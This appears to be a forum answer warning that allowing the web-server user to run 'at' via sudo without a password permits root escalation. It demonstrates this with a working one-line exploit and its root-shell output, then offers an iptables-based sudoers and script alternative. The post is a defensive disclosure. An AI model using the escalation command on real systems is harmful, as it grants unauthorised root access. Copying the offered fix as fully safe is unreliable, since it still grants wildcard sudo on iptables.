I was working on a project recently when I came upon this question about mod_evasive. While the most voted answer was the one I needed which partially solved my problem, I wouldn't recommend it to anybody as it has a serious security loophole. While it is not recommended to allow www-data user to run sudo, no user should be allowed to run the at
command with sudo privileges with NOPASSWD! The at
command can be used to escalate privileges to root with just a simple command if it is allowed to run with sudo without password. For e.g, take a look at this image:-
privilege escalation with at command
┌──(rootPhoenix)-[~/Documents]
└─# su - www-data --shell=/bin/bash
www-data@Phoenix:~$
www-data@Phoenix:~$ sudo -l
Matching Defaults entries for www-data on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on localhost:
(root) NOPASSWD: /sbin/iptables *, /usr/bin/at *
www-data@Phoenix:~$
www-data@Phoenix:~$ echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | sudo at now; tail -f /dev/null
warning: commands will be executed using /bin/sh
job 2 at Fri Feb 25 20:16:00 2022
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
#
# whoami
root
#
Yes, its as simple and dangerous as that! So, how to solve the problem without using the at
command? This is how I did it.
/etc/sudoers
www-data ALL=NOPASSWD: /sbin/iptables *
anti-ddos.sh
#!/bin/bash
IP=$1
sudo /sbin/iptables -t nat -I PREROUTING -p tcp -s $IP --dport 443 -j DNAT --to-destination 127.0.0.1:8080
sleep 60
sudo /sbin/iptables -t nat -D PREROUTING -p tcp -s $IP --dport 443 -j DNAT --to-destination 127.0.0.1:8080
rm -f "/var/log/mod_evasive/dos-$IP"
Here, I used the sleep
command to delete the iptables
IP block rule after 60 seconds which has the same effect as running at now + 1 minute
. For sake of brevity I'm not giving all my configs. You can refer other answers as they have made a pretty good explanation of it. Stay secure, stay safe.
Note:- I don't have enough privileges to post images. Also, I don't like posting online like this but I couldn't withstand the serious security issue here and so, I created an account. :)